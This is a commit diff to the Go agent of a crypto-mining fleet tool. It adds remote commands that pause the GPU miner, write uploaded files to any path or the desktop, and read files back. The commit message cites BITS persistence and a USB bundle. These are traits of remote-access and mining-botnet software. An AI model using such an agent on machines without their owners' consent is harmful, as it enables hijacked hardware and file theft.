feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
@@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "upload":
|
||||
if path == "" || data == "" {
|
||||
case "upload", "push_desktop":
|
||||
if data == "" {
|
||||
c.sendCommandResult(action, false, "data (base64) is required")
|
||||
return
|
||||
}
|
||||
dest := path
|
||||
if action == "push_desktop" {
|
||||
name := strings.TrimSpace(path)
|
||||
if name == "" {
|
||||
name = strings.TrimSpace(command)
|
||||
}
|
||||
var err error
|
||||
dest, err = deploy.ResolveDesktopFile(name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "desktop path: "+err.Error())
|
||||
return
|
||||
}
|
||||
} else if dest == "" {
|
||||
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||
return
|
||||
} else {
|
||||
resolved, err := deploy.ResolveRemotePath(dest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
dest = resolved
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(dest, decoded, 0644); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
|
||||
case "download":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(path)
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||
return
|
||||
@@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user